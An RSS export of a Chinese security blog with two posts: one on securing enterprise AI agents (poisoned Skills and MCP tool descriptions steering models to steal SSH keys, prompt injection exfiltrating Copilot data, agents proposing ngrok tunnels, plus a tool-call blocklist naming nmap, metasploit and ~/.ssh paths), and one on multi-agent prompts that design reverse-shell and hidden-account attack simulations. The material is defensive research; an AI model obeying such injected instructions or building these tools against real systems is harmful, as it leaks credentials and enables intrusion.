<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Security Blog</title><link>/</link><description>Recent content on Security Blog</description><generator>Hugo -- gohugo.io</generator><language>zh-cn</language><lastBuildDate>Sun, 01 Mar 2026 21:33:00 +0800</lastBuildDate><atom:link href="/index.xml" rel="self" type="application/rss+xml"/><item><title>企业如何安全拥抱AI</title><link>/posts/enterprise-ai-security/</link><pubDate>Sun, 01 Mar 2026 21:33:00 +0800</pubDate><guid>/posts/enterprise-ai-security/</guid><description>&lt;h2 id="引言潘多拉魔盒已经打开"&gt;引言：潘多拉魔盒已经打开
&lt;/h2&gt;&lt;p&gt;Claude Code、OpenClaw、Codex、Gemini CLI 等工具是 AI Agent 时代的&amp;quot;潘多拉魔盒&amp;quot;：他们带来的生产力提升是企业无法拒绝的，但它们也同时打开了一扇扇新的攻击入口。To be, or not to be——可能&amp;quot;如何安全使用AI&amp;quot;这是企业安全团队的必答题。&lt;/p&gt;
&lt;h2 id="一ai-agent常见风险"&gt;一、AI Agent常见风险
&lt;/h2&gt;&lt;h3 id="11-风险一skillsplugins-供应链投毒"&gt;1.1 风险一：Skills/Plugins 供应链投毒
&lt;/h3&gt;&lt;p&gt;供应链攻击并不新鲜，npm 恶意包、PyPI 投毒事件年年都有。但 AI Agent 的 Skills 生态将这一威胁升维了——攻击者不再需要诱骗用户运行可疑程序，只需将恶意代码伪装成 AI 的&amp;quot;扩展能力包&amp;quot;。&lt;/p&gt;
&lt;p&gt;ClawHub 作为 OpenClaw 框架的官方插件市场，目前对Skills风险的审计并不严格，其中1月31日单日就有386 个恶意 Skills在市场发布。与此同时，MCP生态也存在类似威胁。2025年4月，Invariant Labs 披露恶意 MCP Server 在工具描述中通过 &lt;code&gt;&amp;lt;IMPORTANT&amp;gt;&lt;/code&gt; 标签嵌入对用户不可见、但 AI 模型可见的隐藏指令，诱导模型窃取 &lt;code&gt;~/.ssh/id_rsa&lt;/code&gt; 等敏感文件。&lt;/p&gt;
&lt;h3 id="12-风险二agent-自主执行危险操作"&gt;1.2 风险二：Agent 自主执行危险操作
&lt;/h3&gt;&lt;p&gt;赋予 AI Agent 强大的工具调用能力，本是提升自动化效率的初衷。然而，当 Agent 持有 &lt;code&gt;bash&lt;/code&gt; 执行权限，一旦被引导向&amp;quot;完成目标&amp;quot;，在面对复杂任务时，安全对齐往往会被&amp;quot;任务完成&amp;quot;的驱动力所打破。可能是安装违背企业安全策略的工具，甚至安装黑客工具、执行扫描行为等。&lt;/p&gt;
&lt;p&gt;如再一次正常的开发过程中&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;用户指令: &amp;#34;帮我开发一个Web服务&amp;#34;
 ↓
Agent 发现: 开发的Web应用在生产网被隔离，无法访问
 ↓
危险行为: 推荐以下几种方案：
 1. ngrok（推荐） - 最流行，易用，免费版本足够基本使用
 2. Cloudflare Tunnel - 免费，无限制，但需要 Cloudflare 账号
 3. SSH 反向隧道 - 需要有外部服务器
 你想使用哪种方案？如果不确定，我建议使用 ngrok，它最简单快捷。
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="13-风险三mcpim集成导致能力与凭据泄漏"&gt;1.3 风险三：MCP/IM集成导致能力与凭据泄漏
&lt;/h3&gt;&lt;p&gt;当企业将 AI Agent 与飞书、钉钉等内部系统集成，或通过 MCP 协议接入内部 API，一个新的风险面随之出现：凭据泄漏。&lt;br&gt;
典型的泄漏路径如下：员工在 Agent 配置文件（如 &lt;code&gt;.env&lt;/code&gt;）中存放飞书 Token、数据库连接串、内部 API Key；Agent 安装了恶意 Skill 后，这些凭据通过 Webhook 外泄；或者攻击者通过间接提示词注入引导 Agent 将内部 API 的响应转发至外部。&lt;/p&gt;
&lt;h3 id="14-风险四员工离职后的幽灵agent"&gt;1.4 风险四：员工离职后的幽灵Agent
&lt;/h3&gt;&lt;p&gt;这是一个在 AI Agent 普及前几乎不存在的新型风险，却也是最容易被忽视的：员工离职后，其创建的 Agent 实例未被销毁，相关凭据依然有效。员工离职的权限回收本来就是企业安全的难题，而AI Agent的出现可能放大这一风险。&lt;/p&gt;
&lt;h3 id="15-风险五间接提示词注入成为攻击跳板"&gt;1.5 风险五：间接提示词注入——成为攻击跳板
&lt;/h3&gt;&lt;p&gt;间接提示词注入位列OWASP LLM Top 10 2025 榜首，也是最难防御的 AI 安全威胁之一。如CVE-2025-32711攻击者向 Microsoft 365 Copilot 用户发送一封含 Markdown 隐藏载荷的邮件。当 Copilot 处理该邮件内容时触发恶意指令，自动搜索用户云端文件中的薪资单、合同等敏感文档，并利用 Markdown 图片渲染机制将数据静默回传攻击者服务器。&lt;/p&gt;
&lt;h2 id="二理想与现实缸中之脑的困境"&gt;二、理想与现实：缸中之脑的困境
&lt;/h2&gt;&lt;p&gt;面对上述风险，理论上存在一个&amp;quot;完美解法&amp;quot;：将 AI Agent 部署在完全隔离的专用虚拟机或独立物理设备上，断网、最小权限、严格沙箱。让 LLM 成为受控的&amp;quot;缸中之脑&amp;quot;——它可以思考，但无法行动。&lt;/p&gt;
&lt;p&gt;这个方案的问题在于：没有人能拒绝给 Agent 开放更多能力的诱惑。&lt;/p&gt;
&lt;p&gt;企业引入 AI Agent 的核心价值，恰恰来自于其工具调用能力：能查数据库、能发邮件、能调内部 API、能管理代码仓库。每一个新的 MCP 接入、每一个新的 Skill 安装，都是生产力的一次跃升。安全团队说&amp;quot;禁止安装第三方插件&amp;quot;，业务团队的回应是&amp;quot;那这 Agent 还有什么用&amp;quot;。&lt;/p&gt;
&lt;p&gt;限制范围 = 限制生产力，这是 AI 安全与业务需求之间无法回避的张力。&lt;/p&gt;
&lt;p&gt;因此，安全方案不能简单地&amp;quot;收紧&amp;quot;——而必须提供一个&lt;strong&gt;既解放生产力，又保证安全性的可操作框架&lt;/strong&gt;。下面将从四个维度展开这一框架。&lt;/p&gt;
&lt;h2 id="三如何构建有安全边界的ai"&gt;三、如何构建有安全边界的AI
&lt;/h2&gt;&lt;h3 id="方案一ai-gateway在通信层建立管控平面"&gt;方案一：AI Gateway——在通信层建立管控平面
&lt;/h3&gt;&lt;h4 id="核心思路"&gt;核心思路
&lt;/h4&gt;&lt;p&gt;AI Agent 与 LLM 之间的通信是所有 Agent 行为的必经之路。在这条通路上建立安全网关，相当于在&amp;quot;大脑&amp;quot;与&amp;quot;手脚&amp;quot;之间加入一个可审计、可拦截的中间层。&lt;/p&gt;
&lt;p&gt;可以通过修改配置将AI流量重定向至本地安全代理，无需修改任何AI工具本身，即可透明地拦截和审计所有请求，以获得更可控的信任基础。（参考：https://github.com/farion1231/cc-switch）&lt;/p&gt;
&lt;p&gt;在AI Gateway主要审计的内容有：&lt;br&gt;
Prompt审计：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Prompt 注入检测，数据泄漏风险监测（PII数据、Key、商业机密等）&lt;/li&gt;
&lt;li&gt;Tool Call 拦截，
&lt;ul&gt;
&lt;li&gt;黑名单命令匹配: 黑名单命令匹配（nmap / metasploit / ngrok / masscan）&lt;/li&gt;
&lt;li&gt;敏感路径正则:/etc/shadow / ~/.ssh / ~/.env等路径的访问&lt;/li&gt;
&lt;li&gt;外联地址白名单验证&lt;/li&gt;
&lt;li&gt;小模型安全裁判: 携带企业安全制度 + 工具名 + 参数 + 最近对话上下文 供小模型判断&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="方案二无key化以身份替代凭据"&gt;方案二：无Key化——以身份替代凭据
&lt;/h3&gt;&lt;h4 id="核心问题"&gt;核心问题
&lt;/h4&gt;&lt;p&gt;企业内部能力通过 API / Skills / Plugins / MCP 开放给 Agent 是大势所趋。但当前主流做法是将 API Key 硬编码在 Agent 配置文件、.env或Skills/Plugins特定的配置文件中，这带来了一系列隐患：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Key一旦泄漏，即可无限期使用，难以溯源到具体人&lt;/li&gt;
&lt;li&gt;员工离职时，手动轮换所有Key既繁琐又容易遗漏&lt;/li&gt;
&lt;li&gt;可能出现多名员工共用同一Key，权限粒度粗糙&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="近似casb的防护方案"&gt;近似CASB的防护方案
&lt;/h4&gt;&lt;p&gt;企业目前针对应用间鉴权（M2M）、员工鉴权（H2M）是采用不同的方式，而AI Agent可能并不适应这两者。&lt;/p&gt;
&lt;p&gt;应用间鉴权（M2M）:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;身份认证主要基于“客户端凭据”: 本质依赖 client_id + client_secret、API Key、私钥签名、证书私钥这类可离线使用的静态凭据，企业通常会设计安全系统托管凭据，避免运维人员直接接触明文凭据&lt;/li&gt;
&lt;li&gt;凭据生命周期治理与泄漏处置：通常会设计定期轮转与到期策略，分发与使用绑定（如绑定到特定运行环境、IP等），“无Key化”策略（在可信环境通过一次性交换换取短期访问令牌，而不是让调用方长期持有可复用的明文密钥）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;员工鉴权（H2M）:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;主流采用 OIDC、SAML 2.0、CAS 等协议&lt;/li&gt;
&lt;li&gt;具备交互式认证与强身份校验能力,一般会依赖密码、MFA、生物特征等认证，并由 IdP统一执行风控策略（异常登录、行为分析等）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;而AI Agent通常是运行在员工终端（PC/笔记本）上的本地代理，但其访问企业能力（API、内部工具、MCP Server 等）又更接近“应用间接口调用”的模式。若沿用 M2M模式凭据存在泄漏和滥用的风险，使用H2M 模式 AI Agent又不具备私密的记忆、生物因子、多因子认证能力。所以AI Agent需要独特的无Key化方案。&lt;/p&gt;
&lt;p&gt;Agent 无Key化的目标是：Agent 调用企业内部 API 时，不依赖静态 Key，而是通过员工身份凭据动态获取短期访问令牌。参考 CASB的代理模式，在企业 API 网关前置一层身份认证代理。&lt;br&gt;
AI Agent对接口的访问统一指向安全本地代理，本地代理获取员工的登录信息转发到安全网关，再由安全网关拉取员工已经合理申请的应用key，统一进行请求合成代理请求。&lt;/p&gt;
&lt;p&gt;这一架构的核心价值：Agent 本身不持有任何长期有效的 Key。即便 Agent 被攻破，攻击者获取的也是随时失效的员工登录凭据；员工离职时，IdP侧吊销其身份凭据，所有关联的 Agent 访问权限立即失效，无需逐一清理Key。&lt;/p&gt;
&lt;h3 id="方案三安全配置检测本地agent安全基线"&gt;方案三：安全配置检测——本地Agent安全基线
&lt;/h3&gt;&lt;p&gt;对AI Agent的病毒式传播，可能带来对企业安全新的威胁，所以在端侧对AI Agent进行配置检查是企业安全治理重要的一环。&lt;br&gt;
核心需要检查的清单有：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;高危配置：如Openclaw控制台监听0.0.0.0，控制台缺乏认证配置，或者运行在root权限下，这样往往让Agent成为攻击者入侵的跳板&lt;/li&gt;
&lt;li&gt;硬编码凭据：如有不使用前文所述的“无Key化”方案，自行开发暴露的基于硬编码凭据认证的企业服务&lt;/li&gt;
&lt;li&gt;Agent实例生命周期管理：解决&amp;quot;僵尸Agent&amp;quot;问题，需要将 Agent 实例的生命周期与员工身份绑定，所有Agent部署中强制打owner标签，并集合进CMDB系统联动实现自动注销&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="方案四插件skill-安全审核内部市场的守门人"&gt;方案四：插件/Skill 安全审核——内部市场的守门人
&lt;/h3&gt;&lt;p&gt;开放的公共插件市场在安全审核上存在系统性滞后，对于企业而言，最好做法是建立内部插件市场：第三方插件经代码审计后方可上架，员工只能从内部市场安装。&lt;br&gt;
通过维护&amp;quot;白名单生态&amp;quot;，既可以让外部优质 Skill 可以进来，又可以通过入场检验保证安全。&lt;/p&gt;
&lt;p&gt;对Skill和插件的审核可能难度比常规的恶意脚本检测和病毒扫描挑战更大，因为恶意Skill完全可以通过自然语言实现大量的恶意行为。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;依赖LLM将skill中可能执行的脚本、安装的依赖、执行的命令、下载的二进制提取出来&lt;/li&gt;
&lt;li&gt;通过静态的semgrep对脚本、代码等进行检测，以及提交到VT进行多引擎的扫描&lt;/li&gt;
&lt;li&gt;综合之前的分析，再交由LLM进行风险判断&lt;/li&gt;
&lt;li&gt;甚至未来长期需要再运行时监控skill/plugin是否有长期的安全风险&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="结语安全不是生产力的对立面"&gt;结语：安全不是生产力的对立面
&lt;/h2&gt;&lt;p&gt;AI Agent 的本质是一个能力放大器：它放大了效率，也放大了风险。一个人工操作失误影响范围有限，一个配备了企业全量 API 权限的 AI Agent 的失误，可能在几分钟内影响整个组织。&lt;br&gt;
企业安全的终极目标，不是阻止员工使用 OpenClaw等AI Agent，而是让 AI Agent在企业的安全视野内运行。不是禁止MCP 入，而是让每一个 MCP Server 都经过审查。AI 安全不是生产力的对立面，而是生产力可持续释放的基础设施。&lt;/p&gt;</description></item><item><title>BASGPT: 基于Multi-Agent自动化BAS</title><link>/posts/basgpt-multi-agent-automated-bas/</link><pubDate>Wed, 07 Aug 2024 20:12:00 +0800</pubDate><guid>/posts/basgpt-multi-agent-automated-bas/</guid><description>&lt;h2 id="背景"&gt;背景
&lt;/h2&gt;&lt;p&gt;Breach &amp;amp; Attack Simulation（BAS）作为一种前沿的安全技术，能够通过模拟真实攻击场景来度量企业的安全水位。可以验证现有安全感知和防护措施的有效性，从而确保企业安全能力的稳定性和持续提升。因此，BAS对于企业的整体安全策略具有非常重要的价值。&lt;br&gt;
BAS评估用例需要投入资源开发，重复建设检测/防御策略+ BAS的评估用例对于企业成本过高。&lt;br&gt;
然而，传统的BAS方案需要大量的测试用例来保证其对安全检测和防护效果的度量能力，这往往需要投入极大的开发成本。每一个测试用例的设计、实现和调试都需要耗费大量的时间和人力资源，使得BAS的实施变得复杂且成本高昂。通过Multi-Agent+LLM能力，我们可以尝试自动化的生成BAS用例。这将显著降低开发成本，提高测试用例的生成效率，从而较低成本的利用BAS来评估企业的安全防护能力。&lt;/p&gt;
&lt;h2 id="具体实现"&gt;具体实现
&lt;/h2&gt;&lt;h3 id="工作分解"&gt;工作分解
&lt;/h3&gt;&lt;p&gt;LLM并不能胜任处理复杂的项目，所以我们可以将复杂的工作的分解，分别设置专业的Agent来处理细分的任务。将项目分解为单Agent+LLM能够胜任的任务需要遵循如下原则：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;分解任务是定义结果，而不是拆分行为&lt;/li&gt;
&lt;li&gt;互斥：不同的任务需要保持orthogonal&lt;/li&gt;
&lt;li&gt;有明确约束&lt;br&gt;
针对攻击模拟，对工作的任务完成分解后，会基于分解的任务对角色进行定义，同时明确其目标、约束和能力。最终角色列表如下：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Requirements Analyst
Goal: To analyze ATT&amp;amp;CK matrix Techniques, Tactics, and Procedure Examples, and define the necessary components for simulating attack scenarios.
Constraints: Ensure comprehensive understanding of the ATT&amp;amp;CK matrix and the specific APT behaviors. Communicate requirements clearly to the next roles.

Security Architect
Goal: To design the technical implementation of attack scenarios, specifying the required entities, environments, and dependencies.
Constraints: Use simple tools (e.g., nc, nmap) and common programming languages (e.g., Python) or open-source libraries (e.g., requests). Ensure the design is practical and efficient.

Product Architect
Goal: To design a concise, usable, complete software
Constraints: Ensure the architecture remains simple and utilize appropriate open-source libraries.

Project Manager
Goal: To develop a comprehensive task list based on the requirements and architecture, assigning roles and managing task dependencies and priorities effectively.
Constraints: Follow the requirements and architectural design closely. Ensure clear communication and precise task definitions.

SRE
Goal: To deploy and configure the necessary environments as specified by the Security Architect, ensuring operational readiness.
Constraints: Maintain security and stability of the deployed environments. Ensure configurations meet the specified requirements accurately.

Developer
Goal: To develop clean, maintainable, and efficient code for the attack scenarios based on the architecture and task assignments.
Constraints: Adhere to coding standards and best practices. Ensure the code is modular, readable, and aligns with the specified design.

Penetration Tester
Goal: To execute the simulated attack scenarios in the deployed environments, validating their success based on the defined verification methods.
Constraints: Follow the implementation plan provided by the Security Architect. Ensure thorough validation and accurate execution of the attack scenarios.
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="tools实现"&gt;Tools实现
&lt;/h3&gt;&lt;p&gt;在拆解后的任务分配给Agent后，不同的Role需要相应的Tool来实现与环境的互动。如SRE的需要具备从Web搜索依赖工具的下载路径，和云平台交互创建测试环境，以及在实例上执行命令部署环境。&lt;br&gt;
Tools借助Function Calling实现，在调用LLM时传递Function的描述，LLM根据Prompt会返回Action指定调用合适的函数并传递合适的参数，最后由Agent基于Action对函数发起调用完成交互。&lt;br&gt;
&lt;img src="/posts/basgpt-multi-agent-automated-bas/function-calling-tools.svg"
	
	
	loading="lazy"
	
		alt="tools.drawio"
	
 
	
&gt;&lt;/p&gt;
&lt;h3 id="sop通信"&gt;SOP通信
&lt;/h3&gt;&lt;p&gt;Multi-Agent框架中Agent之间的交互以及Agent与LLM之间的交互通常通过自然语言传递。自然语言在传递信息和指令时容易产生歧义和丢失信息，而人类在企业管理和运营过程中已经创造一套比较好的最佳实践SOP。将SOP的思路应用在Agent之间以及Agent-LLM之间的通信有如下优势：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;便于解析：自然语言难以解析，SOP化后形成固定格式，便于解析&lt;/li&gt;
&lt;li&gt;减少错误：SOP具备格式和定义能够更精准的传递信息，避免出错；SOP显式的传递约束条件，能够更好的避免产生歧义&lt;/li&gt;
&lt;li&gt;会话传递：自然语言容易丢失context，SOP能够显式的传递上下文&lt;br&gt;
如下是通过Requirements Analyst通过SOP向Security Architect传递需求的案例。其中Context是Requirements Analyst基于ATT&amp;amp;CK矩阵的Procedure Example分析出的攻击目标和步骤，format example部分是希望LLM产出遵循的格式，nodes部分是对格式中字段的类型和内容的解释，constraint是对产出内容的约束条件，action是对LLM的需求。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;## context
{&amp;#34;Original Requirements&amp;#34;: {&amp;#34;Tactic&amp;#34;: &amp;#34;Defense Evasion&amp;#34;, &amp;#34;Technique&amp;#34;: &amp;#34;Hidden Users&amp;#34;, &amp;#34;Name&amp;#34;: &amp;#34;Dragonfly&amp;#34;, &amp;#34;Procedure Example&amp;#34;: &amp;#34;Dragonfly has modified the Registry to hide created user accounts.(Citation: US-CERT TA18-074A)&amp;#34;}, &amp;#34;Roles&amp;#34;: {&amp;#34;Attacker&amp;#34;: &amp;#34;Modify the Registry to hide user accounts&amp;#34;, &amp;#34;Victim&amp;#34;: &amp;#34;Host with Registry modified by Attacker&amp;#34;}, &amp;#34;Steps In Operation&amp;#34;: [&amp;#34;Attacker modifies the Registry on Victim\&amp;#39;s host to hide created user accounts&amp;#34;], &amp;#34;Verification Checklist&amp;#34;: [&amp;#34;User accounts are not visible in the list of users on Victim\&amp;#39;s host&amp;#34;, &amp;#34;Registry keys associated with hiding users are modified on Victim\&amp;#39;s host&amp;#34;]}

## format example
{
 &amp;#34;environment&amp;#34;:{
 &amp;#34;Attacker A&amp;#34;:{
 &amp;#34;OS&amp;#34; : &amp;#34;ubuntu 22.04&amp;#34;,
 &amp;#34;Additional Requirements&amp;#34; : &amp;#34;Pre-installed Python environment&amp;#34;
 },
 &amp;#34;Victim A&amp;#34;: {
 &amp;#34;OS&amp;#34; : &amp;#34;ubuntu 22.04&amp;#34;,
 &amp;#34;Additional Requirements&amp;#34; : &amp;#34;Pre-installed Python environment&amp;#34;
 },
 &amp;#34;Victim B&amp;#34;: {
 &amp;#34;OS&amp;#34; : &amp;#34;ubuntu 22.04&amp;#34;,
 &amp;#34;Additional Requirements&amp;#34; : &amp;#34;Pre-installed Netcat&amp;#34;
 },
 },
 &amp;#34;Configure&amp;#34;: {
 &amp;#34;Attacker A&amp;#34;:{
 &amp;#34;verification_file_path&amp;#34;: {
 &amp;#34;Value&amp;#34;: &amp;#34;UnDetermined&amp;#34;,
 &amp;#34;Generation Logic&amp;#34;: &amp;#34;Randomly generate paths based on Victim A&amp;#39;s file system, determined after deployment&amp;#34;,
 &amp;#34;Description&amp;#34;: &amp;#34;Files created by Attacker A&amp;#34;

 },
 &amp;#34;cs_listen_port&amp;#34;: {
 &amp;#34;Value&amp;#34;: &amp;#34;18080&amp;#34;,
 &amp;#34;Generation Logic&amp;#34;: &amp;#34;Randomly pick a value from the port range&amp;#34;,
 &amp;#34;Description&amp;#34;: &amp;#34;listen to receive reverse shell&amp;#34;
 },
 &amp;#34;scanned_ip&amp;#34;: {
 &amp;#34;Value&amp;#34;: &amp;#34;UnDetermined&amp;#34;,
 &amp;#34;Generation Logic&amp;#34;: &amp;#34;Determined after deployment&amp;#34;,
 &amp;#34;Description&amp;#34;: &amp;#34;Victim B&amp;#39;s IP address&amp;#34;
 }
 },
 &amp;#34;Victim A&amp;#34;:{
 &amp;#34;cs_listen_port&amp;#34;: {
 &amp;#34;Value&amp;#34;: &amp;#34;18080&amp;#34;,
 &amp;#34;Generation Logic&amp;#34;: &amp;#34;Randomly pick a value from the port range&amp;#34;,
 &amp;#34;Description&amp;#34;: &amp;#34;listen to receive reverse shell&amp;#34;
 },
 &amp;#34;cs_ip&amp;#34;: {
 &amp;#34;Value&amp;#34;: &amp;#34;UnDetermined&amp;#34;,
 &amp;#34;Generation Logic&amp;#34;: &amp;#34;Determined after deployment&amp;#34;,
 &amp;#34;Description&amp;#34;: &amp;#34;Attacker A&amp;#39;s IP address&amp;#34;
 }
 },
 &amp;#34;Victim B&amp;#34;:{
 &amp;#34;victim_listen_port&amp;#34;: {
 &amp;#34;Value&amp;#34;: &amp;#34;8080&amp;#34;,
 &amp;#34;Generation Logic&amp;#34;: &amp;#34;Randomly pick a value from the port range&amp;#34;,
 &amp;#34;Description&amp;#34;: &amp;#34;listening for port scans by Victim A&amp;#34;
 }
 }
 },
 &amp;#34;resource development&amp;#34; :[
 {
 &amp;#34;Name&amp;#34; : &amp;#34;reverse_client&amp;#34;,
 &amp;#34;Product Goals&amp;#34;: [
 &amp;#34;perform reverse shel to remote address for security testing&amp;#34;,
 &amp;#34;perform port scanning. Server mode can listen to ports, accept reverse connections, and send commands for execution.&amp;#34;,
 &amp;#34;Port scanning using tcp connect&amp;#34;
 ],
 &amp;#34;Requirement Pool&amp;#34;: [
 &amp;#34;The main code ...&amp;#34;,
 &amp;#34;Implement of reverse shell ...&amp;#34;,
 &amp;#34;Implement of port scan ...&amp;#34;
 ],
 &amp;#34;Configure&amp;#34; :{
 &amp;#34;connected IP&amp;#34; : &amp;#34;{cs_ip}&amp;#34;,
 &amp;#34;connected port&amp;#34; : &amp;#34;{cs_listen_port}&amp;#34;
 },
 &amp;#34;Anything UNCLEAR&amp;#34;: &amp;#34;&amp;#34;
 }, 
 {
 &amp;#34;Name&amp;#34; : &amp;#34;reverse_server&amp;#34;,
 &amp;#34;Product Goals&amp;#34;: [
 &amp;#34;accept reverse connections from victim&amp;#34;,
 &amp;#34;send commands for execution.&amp;#34;,
 &amp;#34;control victim to perform port scan&amp;#34;
 ],
 &amp;#34;Requirement Pool&amp;#34;: [
 &amp;#34;The main code ...&amp;#34;,
 &amp;#34;Implement of reverse shell accept...&amp;#34;,
 &amp;#34;Implement of remote control ...&amp;#34;
 ],
 &amp;#34;Configure&amp;#34; :{
 &amp;#34;listen port&amp;#34; : &amp;#34;{cs_listen_port}&amp;#34;,
 &amp;#34;scanned ip&amp;#34; : &amp;#34;{scanned_ip}&amp;#34;
 },
 &amp;#34;Anything UNCLEAR&amp;#34;: &amp;#34;&amp;#34;

 }
 ],
 &amp;#34;resource obtain&amp;#34; : {
 &amp;#34;xxx&amp;#34;, &amp;#34;download from github&amp;#34;,
 &amp;#34;Netcat&amp;#34;, &amp;#34;Installation via package manager&amp;#34;
 },
 &amp;#34;Environmental deployment&amp;#34; : [
 &amp;#34;deploy reverse_server on Attacker A&amp;#34;,
 &amp;#34;deploy reverse_client on Victim A&amp;#34;,
 &amp;#34;deploy Netcat on Victim B&amp;#34;
 ],
 &amp;#34;Steps In Operation&amp;#34;: [
 &amp;#34;Attcker A use reverse_server to listen to port {cs_listen_port}&amp;#34;
 &amp;#34;Victim A use reverse_client to establish a reverse shell connection to Attacker A ({cs_ip}, {cs_listen_port})&amp;#34;,
 &amp;#34;After Attacker A receives the reverse shell connection from Victim A, it uses reverse_server to create a file ({verification_file_path}) on Victim A to prove the attack was successful&amp;#34;,
 &amp;#34;Victim B use Netcat to listen to port {victim_listen_port}&amp;#34;,
 &amp;#34;Attacker A controls Victim A to perform port scan on Victim B ({scanned_ip}) via reverse_client&amp;#34;
 ],
 &amp;#34;Verification Checklist&amp;#34;:[
 &amp;#34;{verification_file_path} exist on Victim A&amp;#34;,
 &amp;#34;detect port {victim_listen_port} open on Victim B ({scanned_ip})&amp;#34;
 ]
}

## nodes: &amp;#34;&amp;lt;node&amp;gt;: &amp;lt;type&amp;gt; # &amp;lt;instruction&amp;gt;&amp;#34;
-environment: typing.Dict[str, typing.Dict[str,str]] # Define the OS and additional environment requirements for each role, clearly specifying the pre-installed software needed.When choosing an environment, you need to consider an environment that is more suitable for creating on the cloud, more general, and more convenient for executing commands.
-configure: typing.Dict[str, typing.Dict[str, typing.Dict[str, str]]] # Detail the specific settings or configurations for each entity involved, such as ports to listen on and files to create.
-resource development: typing.List[typing.Dict[str, typing.Any]] # Provide an development requirements for each tool, including a Name, Product Goals, Requirement Pool, Anything UNCLEAR. Name: According to the content of &amp;#34;Product Goals,&amp;#34; name the project using snake case style , like &amp;#39;port_scanner&amp;#39;. Product Goals:Provide up to three clear, orthogonal product goals .Requirement Pool:List down the top-5 requirements .Configure: Parameters that need to be configured for product operation. Anything UNCLEAR: Mention unclear project aspects, then try to clarify it, Some background information needed for product development, such as what functions the client and server are responsible for through CS architecture
-resource obtain: typing.List[str] # Specify the resources that need to be downloaded and their sources.
-environmental deployment: typing.List[str] # Outline the deployment steps for each tool on the respective machines.
-Steps In Operation: typing.List[str] # Provide a step-by-step operational procedure on how the tools and environments interact with each other to achieve the goal.
-Verification Checklist: typing.List[str] # List clear and verifiable check items.

## constraint
Format: output wrapped inside [CONTENT][/CONTENT] like format example, nothing else.
resource development: Capabilities that cannot be realized through tools native to the operating system or downloaded from the Internet, and that require our own development. Note that the configuration should be consistent with that defined in &amp;#34;Configure&amp;#34;.
resource obtain: Capabilities that can be obtained directly from the operating system or tools downloaded from the Internet
Steps In Operation: Note that the configuration should be consistent with that defined in &amp;#34;Configure&amp;#34;.
Verification Checklist: Note that the configuration should be consistent with that defined in &amp;#34;Configure&amp;#34;.

## action
Follow instructions of nodes, generate output and make sure it follows the format example.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;如下是在Product Architect在完成工具设计和Product Manager完成任务分配后，发送给Developer进行部分代码开发的案例。其中Design是Product Architect基于需求的设计文档，Task是Product Manager基于设计文档制定的项目开发计划，Legacy Code是之前的Agent生成的代码，Instruction是相应的操作指示。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;NOTICE
Role: You are a professional develper; the main goal is develop clean, maintainable, and efficient code for the attack scenarios based on the architecture and task assignments.
Constraints: Adhere to coding standards and best practices. Ensure the code is modular, readable, and aligns with the specified design.
ATTENTION: Use &amp;#39;##&amp;#39; to SPLIT SECTIONS, not &amp;#39;#&amp;#39;. Output format carefully referenced &amp;#34;Format example&amp;#34;.

# Context
## Design
{&amp;#34;Implementation approach&amp;#34;: &amp;#34;We will develop a Python script that interfaces with the Windows Registry API to perform the necessary tasks. We will use the `winreg` module for registry operations and `os` and `sys` modules to check for administrative privileges. The script will include functions to backup and restore the registry, hide user accounts, and log changes.&amp;#34;, &amp;#34;File list&amp;#34;: [&amp;#34;main.py&amp;#34;, &amp;#34;registry_utils.py&amp;#34;, &amp;#34;logger.py&amp;#34;, &amp;#34;config.py&amp;#34;], &amp;#34;Data structures and interfaces&amp;#34;: &amp;#34;\\nclassDiagram\\n class Main {\\n +main() void\\n }\\n class RegistryUtils {\\n +backup_registry() bool\\n +restore_registry(backup_file: str) bool\\n +hide_user_account(username: str) bool\\n +is_admin() bool\\n }\\n class Logger {\\n +log_change(change: str) void\\n }\\n class Config {\\n +backup_path str = \&amp;#39;{registry_backup_path}\&amp;#39;\\n }\\n Main --&amp;gt; RegistryUtils\\n RegistryUtils --&amp;gt; Logger\\n RegistryUtils --&amp;gt; Config\\n&amp;#34;, &amp;#34;Program call flow&amp;#34;: &amp;#34;\\nsequenceDiagram\\n participant M as Main\\n participant RU as RegistryUtils\\n participant L as Logger\\n participant C as Config\\n M-&amp;gt;&amp;gt;RU: is_admin()\\n RU--&amp;gt;&amp;gt;M: return is_admin\\n M-&amp;gt;&amp;gt;RU: backup_registry()\\n RU-&amp;gt;&amp;gt;C: backup_path\\n C--&amp;gt;&amp;gt;RU: return backup_path\\n RU-&amp;gt;&amp;gt;L: log_change(\&amp;#39;Backup created\&amp;#39;)\\n L--&amp;gt;&amp;gt;RU: return\\n RU--&amp;gt;&amp;gt;M: return backup_result\\n M-&amp;gt;&amp;gt;RU: hide_user_account(username)\\n RU-&amp;gt;&amp;gt;L: log_change(\&amp;#39;User account hidden\&amp;#39;)\\n L--&amp;gt;&amp;gt;RU: return\\n RU--&amp;gt;&amp;gt;M: return hide_result\\n M-&amp;gt;&amp;gt;RU: restore_registry(backup_file)\\n RU-&amp;gt;&amp;gt;L: log_change(\&amp;#39;Registry restored\&amp;#39;)\\n L--&amp;gt;&amp;gt;RU: return\\n RU--&amp;gt;&amp;gt;M: return restore_result\\n&amp;#34;, &amp;#34;Usage&amp;#34;: {&amp;#34;server&amp;#34;: [&amp;#34;Set 